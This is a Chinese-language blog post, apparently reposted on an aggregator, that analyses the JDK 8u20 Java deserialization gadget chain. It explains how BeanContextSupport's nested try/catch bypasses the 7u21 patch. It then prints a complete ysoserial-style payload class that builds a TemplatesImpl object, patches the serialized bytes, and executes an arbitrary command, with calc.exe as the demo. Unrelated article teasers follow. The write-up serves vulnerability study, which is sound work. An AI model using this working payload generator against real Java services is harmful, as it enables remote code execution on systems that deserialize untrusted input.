jdk8u20 链子分析

news/2024/10/21 16:55:14

jdk8u20 链子分析

JDK7u21 中反序列化漏洞修补方式是在 AnnotationInvocationHandler 类对type属性做了校验,原来的payload就会执行失败。但在8u20中可以用 BeanContextSupport 类对这个修补方式进行绕过,所以说其实 jdk8u20 就是对 jdk7u21 的绕过。

链子分析

可以看到在高版本的 AnnotationInvocationHandler#redobject 方法判断 this.type 是不是annotation类型,原payload里面是 Templates 类型,所以这里会抛出错误,

这里需要提前了解一些机制,

一、反序列化机制

oracle 官方定义的 Java 中可序列化对象流的原则——如果一个类中定义了readObject方法,那么这个方法将会取代默认序列化机制中的方法读取对象的状态,可选的信息可依靠这些方法读取,而必选数据部分要依赖defaultReadObject方法读取;

可以看到在该类内部的readObject方法第一行就调用了defaultReadObject()方法,该方法主要用来从字节流中读取对象的字段值,它可以从字节流中按照定义对象的类描述符以及定义的顺序读取字段的名称和类型信息。这些值会通过匹配当前类的字段名称来赋予,如果当前这个对象中的某个字段并没有在字节流中出现,则这些字段会使用类中定义的默认值,如果这个值出现在字节流中,但是并不属于对象,则抛弃该值

在利用defaultReadObject()还原了一部分对象的值后,最近进行AnnotationType.getInstance(type)判断,如果传入的 type 不是AnnotationType类型,那么抛出异常。

也就是说,实际上在 jdk7u21 漏洞中,我们传入的 AnnotationInvocationHandler 对象在异常被抛出前,已经从序列化数据中被还原出来。换句话说就是我们的恶意 payload 已经构造进去了,但是异常阻断了继续执行,所以这里需要逃过异常抛出。

那么又该怎么逃呢?

二、Try/catch

正常的就是把可能发生异常的语句放进 try{...}中,然后使用catch捕获对应的Exception及其子类,这样一来,在 JVM 捕获到异常后,会从上到下匹配catch语句,匹配到某个catch后,执行catch代码块,从而达到继续执行代码的效果。

这里我们需要讨论双重 try/catch 的情况,

package org.example;  public class test {  public static void main(String[] args) {  try {  try {  int i = 1/0;  }catch (Exception e){  throw new Exception("wrong");  }  }catch (Exception e){  }  System.out.println("true");  }  
}

运行看到显示 true

这能说明什么呢?在内层的 try/catch 中进入 catch 模块抛出了异常然后会直接进入外层 catch 的模块打印信息,这样就会继续执行命令从而绕过了抛出异常阻断执行了。

那么结合上面 AnnotationInvocationHandler#redobject 中的抛出异常如果在其外面在套一层 try/catch 是不是就可以成功逃脱了。

这里漏洞者用到 java.beans.beancontext.BeanContextSupport 类对这里进行了绕过。定位到 BeanContextSupport 类,看到其 readobject 方法调用了readChildren,

跟进

再次调用 ois.readObject() 方法,并且 try/catch 可以继续执行执行,也就是说这里可以调用 AnnotationInvocationHandler#redobject ,然后抛出异常后匹配到这里 catch 模块执行 continue 从而继续执行命令。

如何用BeanContextSupport.readObject触发AnnotationInvocationHandler.readObject呢?

具体利用链子就是在LinkedHashSet中强行插入一个BeanContextSupport类型的字段值,由于在java反序列化的流程中,一般都是首先还原对象中字段的值,然后才会还原objectAnnotation结构中的值(即是按照序列化数据结构的顺序),所以它会首先反序列化LinkedHashSet,然后反序列LinkedHashSet字段的值,由于在这个字段值中有一个BeanContextSupport类型的字段,所以反序列化会去还原BeanContextSupport对象,也就是objectAnnotation中的数据

在反序列化BeanContextSupport的过程中,会首先反序列化BeanContextSupport的字段值,其中有个值为 Templates.classAnnotationInvocationHandler 类的对象的字段,然后反序列化会去还原AnnotationInvocationHandler对象,成功的关联了下一个链!

更进具体的原理可以参考:https://cloud.tencent.com/developer/article/2204437

poc 构造

这个就直接参考师傅们的了,懒得构造了

参考:https://tttang.com/archive/1729/#toc_try-catch-demo

poc 项目:https://github.com/1nhann/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk8u20_my.java

package ysoserial.payloads;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
import ysoserial.Deserializer;  
import ysoserial.Serializer;  
import ysoserial.payloads.util.ByteUtil;  
import ysoserial.payloads.util.Gadgets;  
import ysoserial.payloads.util.ReadWrite;  
import ysoserial.payloads.util.Reflections;  import javax.xml.transform.Templates;  
import java.beans.beancontext.BeanContextSupport;  
import java.lang.reflect.InvocationHandler;  
import java.util.HashMap;  
import java.util.LinkedHashSet;  public class Jdk8u20_my implements ObjectPayload{  public static Class newInvocationHandlerClass() throws Exception{  ClassPool pool = ClassPool.getDefault();  CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);  CtMethod writeObject = CtMethod.make("    private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +  "        os.defaultWriteObject();\n" +  "    }",clazz);  clazz.addMethod(writeObject);  Class c = clazz.toClass();  return c;  }  public byte[] getPayload(final String command) throws Exception {  TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl(command);  Class ihClass = newInvocationHandlerClass();  InvocationHandler ih = (InvocationHandler) Reflections.getFirstCtor(ihClass).newInstance(Override.class,new HashMap<>());  Reflections.setFieldValue(ih,"type", Templates.class);  Templates proxy = Gadgets.createProxy(ih,Templates.class);  BeanContextSupport b = new BeanContextSupport();  Reflections.setFieldValue(b,"serializable",1);  HashMap tmpMap = new HashMap<>();  tmpMap.put(ih,null);  Reflections.setFieldValue(b,"children",tmpMap);  LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy         set.add(b);  set.add(templates);  set.add(proxy);  HashMap hm = new HashMap();  hm.put("f5a5a608",templates);  Reflections.setFieldValue(ih,"memberValues",hm);  byte[] ser = Serializer.serialize(set);  byte[] shoudReplace = new byte[]{0x78,0x70,0x77,0x04,0x00,0x00,0x00,0x00,0x78,0x71};  int i = ByteUtil.getSubarrayIndex(ser,shoudReplace);  ser = ByteUtil.deleteAt(ser,i); // delete 0x78  ser = ByteUtil.deleteAt(ser,i); // delete 0x70  return ser;  }  public static void main(final String[] args) throws Exception {  byte[] ser = new Jdk8u20_my().getPayload("calc.exe");  ReadWrite.writeFile(ser,"ser.bin");  // 不能直接 Deserializer.deserialize(ser) , 除非 redefine 了 AnnotationInvocationHandler 否则会报错  
//         Deserializer.deserialize(ser);  }  @Override  public Object getObject(String command) throws Exception {  return getPayload(command);  }  }

最后反序列化成功弹出计算机,

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/74244.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Meta 最新 SPIRIT-LM:语音文本无缝转换还能懂情绪;字节回应实习生破坏大模型训练:网传损失不实丨 RTE 开发者日报

开发者朋友们大家好:这里是「RTE 开发者日报」,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文章 」、「有看点的 会议 」,但内容仅代表编辑的…

通义灵码实践教程——编码使用实践

点击此处,立即下载通义灵码!https://tongyi.aliyun.com/lingma/ 通义灵码最佳使用实践参考 通义灵码是JetBrains或VSCode集成开发环境(IDE)中嵌入的一款智能开发助手工具,旨在通过人工智能技术简化软件开发过程,提升开发效率。本文将介绍在开发过程中如何深度体验多种辅助…

通义灵码实践教程——单元测试

通义灵码加持的单元测试实践 本文首先讲述了什么是单元测试、单元测试的价值、一个好的单元测试所具备的原则,进而引入如何去编写一个好的单元测试,通义灵码是如何快速生成单元测试的。 什么是单元测试? 单元测试是一种软件测试方法,通过编写代码来验证应用程序中最小的可测…

2024秋软工实践 银河战舰队展示与选题报告

作业所属课程 班级的链接作业要求 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13290作业的目标 开发一个基于LLM大模型接口的软件,为传统的软件赋予全新的体验和功能。团队名称 银河战舰团队成员学号-名字 102202129-林伟宏 102202131-林鑫 102202109-木合塔拉提 10…

geojson的下载与展示

下载地址:https://datav.aliyun.com/portal/school/atlas/area_selecto 展示地址:https://l7editor.antv.antgroup.com/

VMware低版本打开高版本虚拟机

前言全局说明VMware低版本打开高版本虚拟机一、说明 环境: Windows 11 家庭版 23H2 22631.3737二、注意修改前,备份虚拟机文件 为了数据安全,最好不要手动修改虚拟机配置信息 最好使用对应版本创建的虚拟机三、版本对应 https://www.cnblogs.com/wutou/p/17712402.html四、修…

【验证码识别专栏】大炮打麻雀 — CLIP 图文多模态模型,人均通杀 AIGC 六、九宫格验证码

前言 近期有粉丝私信,不知道如何训练某讯系点选验证码,之前星球群也有不少粉丝讨论相关问题,为满足粉丝们的需求,本文将对这型验证码的训练进行讲解, 文末可以下载相关的工具,包括 文章配套标注工具 + 文章配套训练代码 + 部分学习数据集(少量类目,仅供学习使用,不设计…

数据库—多表查询、事务

1.多表查询: 例:点击查看代码 # 创建部门表 CREATE TABLE dept( did INT PRIMARY KEY AUTO_INCREMENT, dname VARCHAR(20) );# 创建员工表 CREATE TABLE emp ( id INT PRIMARY KEY AUTO_INCREMENT, NAME VARCHAR(10), gender CHAR(1), -- 性别 salary DOUBLE, -- 工资 join_d…